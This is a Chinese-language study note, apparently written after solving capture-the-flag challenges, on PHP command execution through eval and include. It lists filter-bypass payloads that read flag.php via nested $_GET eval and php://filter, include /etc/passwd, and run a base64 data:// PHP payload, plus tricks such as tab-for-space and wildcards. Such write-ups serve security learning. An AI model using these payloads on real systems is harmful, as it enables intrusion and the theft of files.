知识梳理

最近刷了挺多命令执行的题目,学到了不少新东西,脑子比较乱,在这里整理一下

利用$_GET[]的命令执行

if(isset($_GET[‘c’])){ $c = $_GET[‘c’]; if(!preg_match(“/flagsystemphpcatsortshell\. \‘/i”, $c)){ eval($c);

payload: c=eval($_GET[1]);&1=system(‘cat flag.php’); 这样写的好处是通过get参数1来执行cat命令可以绕过对c的正则匹配 当然也可以使用 echo cat %09 f*这种编码加通配符的方式

利用include实现的命令执行

if(isset($_GET[‘c’])){ $c = $_GET[‘c’]; if(!preg_match(“/flagsystemphpcatsortshelleval\. \‘\`echo\;\(/i”, $c)){ eval($c); }

可以看到这里过滤了反引号、echo、分号等,eval也被禁用了,那单纯使用GET[]的方式肯定是不行了 payload: include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 这里使用php伪协议以base64编码的形式输出flag.php的内容在通过include引入 这里也考虑过为什么不直接print%09$_GET[1]?>&1=flag.php,这样写多方便 后来也从别的博客解到了,这样是不行的,二进制分为代码段和数据段,因为这里get传递flag.php的时候不在代码段,只作为字符串传递,输出字符 利用include还存在一个思路就是包含linux下的/etc/passwd/,它是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作。 include%09$_GET[1]?>&1=/etc/passwd/也是没有问题的 如果遇到include被过滤的情况可以尝试使用require函数来代替

利用data伪协议实现的命令执行

if(isset($_GET[‘c’])){ $c = $_GET[‘c’]; if(!preg_match(“/flag/i”, $c)){ include($c); echo $flag;

}

这里源码中给出include函数来引入输入 payload: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== data伪协议遇到传入php代码时就会执行php代码,使用base64可以绕过正则匹配,也可以不使用base64用通配符绕过(这里在使用base64时发现了一些问题,在base64编码?>会出现无法被浏览器识别的+导致报错,就可以只保留前面的<?删掉后面的不影响php代码的执行)

套娃函数命令执行

localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)pos():返回数组中的当前元素的值。

这里也可以换成current(),作用和pos类似

array_reverse():数组逆序

scandir():获取目录下的文件

next(): 函数将内部指针指向数组中的下一个元素,并输出

查看目录下的文件名: ?c=print_r(scandir(pos(localeconv()))); 再用array_reverse()和next(),使指针指向对应的文件,并用highlight_file()输出 ?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); highlight_file函数也可以用show_source函数来代替

一些过滤的绕过思路

1、php被过滤时可以利用短标签<?=来代替<?php 2、空格被过滤时可以用Tab编码替代 3、liunx .(点命令):读取并且在当前的shell中执行文件中的命令 4、通配符 5、括号被过滤时应该考虑一些不需要括号的语言结构,如: echo print isset unset include require